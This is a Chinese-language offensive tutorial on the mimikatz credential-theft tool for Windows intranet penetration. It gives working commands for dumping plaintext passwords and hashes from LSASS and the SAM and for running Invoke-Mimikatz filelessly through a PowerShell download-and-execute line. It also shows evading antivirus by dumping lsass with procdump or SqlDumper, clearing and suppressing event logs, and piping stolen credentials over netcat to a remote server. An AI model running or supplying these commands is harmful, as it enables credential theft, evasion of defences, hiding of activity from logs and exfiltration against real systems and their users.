一、mimikatz简介:
mimikatz常用于获取windows系统明文密码、系统账号hash、浏览器密码、VPN(ADSL)密码、RDP终端密码等,在内网横向渗透中可用于各种凭证的导入导出,包括大家熟悉的hash传递攻击。
程序的发布主页:http://blog.gentilkiwi.com/mimikatz
下载地址:https://github.com/gentilkiwi/mimikatz/releases
二、基础用法——获取windows系统明文密码及HASH:
首先用管理员权限打开猕猴桃标志的EXE,然后输入:
privilege::debug
sekurlsa::logonpasswords full
如果先加上log命令,所有的操作和回显的结果会在mimikatz.log中显示:
三、结果解析:
从上面结果可以看出:
1、一个Authentication Id代表一个块结果(这个“块结果”我自己理解的),也就是内存里面某个账户里面的凭证。
2、msv项是账号对应的密码的各种加密协议的密文。
3、tspkg、wdigest、kerberos 这3个项是账号对应的明文密码,但有时候不是3个项都得到结果的。
4、ssp项下是你最新登录到其他RDP终端所用到账号密码,windows server 2003、windows xp是不会记录到这里的,因为账号密码的输入不在本机内存里。
5、domain项是被登陆的机器的USERDOMAIN,可通过set命令来查看该变量,通过ping该项对应的值,可得到目标的IP。如:ping -n 1 john-PC,如果想要是IPv4就加上-4参数,即:ping -n 1 -4 john-PC
四、获取windows系统明文密码的原理:
当用户登陆后,会把账号密码保存在lsass中,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码。
五、只获取系统哈希:
1、mimikatz with reg (online在线获取)
privilege::debug
token::elevate
lsadump::sam
2、mimikatz with reg (offline)
目标机器上执行:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
把两个文件传回本机后执行:
mimikatz # lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
3、mimikatz with powershell(无需实体文件落地)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
六、windows高版本无法抓明文密码的问题:
问题出现点,windows 8.1及以上系统在进行明文密码抓取的时候出现以下情况:
1、报错:
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
2、密码项为NULL //空密码
七、mimikatz的杀软对抗:
mimikatz的明文密码功能固然是强大的,但就是因为强大,所以在被各国黑客关注使用的同时,各国的安全厂商也是会投入人力物力去查杀该程序,由此就会产生对抗安全防御软软件的技术。以下文章所涉及到的都是常用且好用的。
1、procdump with mimikatz
procdump是啥玩意?
procdump是微软收购Winternals公司后得到的一个工具包Sysinternals Suite中的一款小工具,属于微软产品。详情请看:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
为什么能对抗安全防御软件?
我们使用大厂的软件把windows系统的内存dump出来,然后下载回我们本地系统,通过mimikatz解析内存文件,提取存放在内存中的凭证。那我用微软的东西,你不能拦截吧?那我在本地自己没有安全软件的环境用mimikatz解析,能拦截的估计就是断电、蓝屏……
具体操作:
命令:
<目标机器>
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
<本机>
mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp
mimikatz # log
mimikatz # sekurlsa::logonPasswords full
①首先在目标机器下载一个procdump文件,然后用管理员权限打开cmd输入命令执行(最后那个lsass.dmp是文件名,它的文件名和后缀都可以更改)
②接着我们把lsass.dmp文件下载回来,然后打开mimikatz执行命令即可(注意命令中文件名要对的上)
2、SqlDumper with mimikatz
SqlDumper.exe是从SQL Server安装目录下提取出来的,功能和Procdump相似,并且也是微软出品的,体积远小于Procdump,也具备一定的免杀功能。SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本,如果目标机器没有安装SQL Server,可以自己上传一个SqlDumper.exe。
命令:
<目标机器>
tasklist /svc |findstr lsass.exe
Sqldumper.exe ProcessID 0 0x01100
<本机>
mimikatz # sekurlsa::minidump SQLDmpr0001.mdmp
mimikatz # log
mimikatz # sekurlsa::logonPasswords full
八、mimikatz的其他实用功能
1、解决windows PC版本不能多用户登陆3389的情况:
mimikatz # privilege::debug
mimikatz # ts::multirdp
2、清除日志:
event::clear
3、让后面的操作不被系统记录:
event::drop
4、进程操作:
process::suspend /pid:2768 暂停进程
process::resume /pid:2768 恢复进程
5、获取system权限
privilege::debug
token::elevate
6、以system权限启新的进程
获取系统system
mimikatz # privilege::debug
mimikatz # process::runp //以system启动一个新的mimikatz的交互式shell
mimikatz # process::runp /run:cmd //以system启动一个新的cmd
九、实战下的mimikatz
1、半交互下的mimiktz执行命令
比如在webshell、webshell管理工具的终端都是半交互式的,此时我们执行mimikatz.exe,是不会进入mimikatz的终端,那么就不能直接的使用mimiktz的命令了,但也可以如下使用:
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full" "exit" >> hash.txt
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit >> hash.txt
2、利用nc把mimikatz结果传到远程服务器(vps)
首先需要在vps上用nc -lvp 1337,来监听1337端口
接下来用命令把结果传到我们的vps,以下随便用那一条都行,如果没有nc,可以用ncat(把nc改为ncat即可):
①mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" | nc -vv 67.68.123.4 1337
②mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc -vv 67.68.123.4 1337
③powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1337
注意,第三条命令中有一个国外的网站,执行命令之前你懂的
③获取 vpn 密码
mimikatz.exe "privilege::debug" "log" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"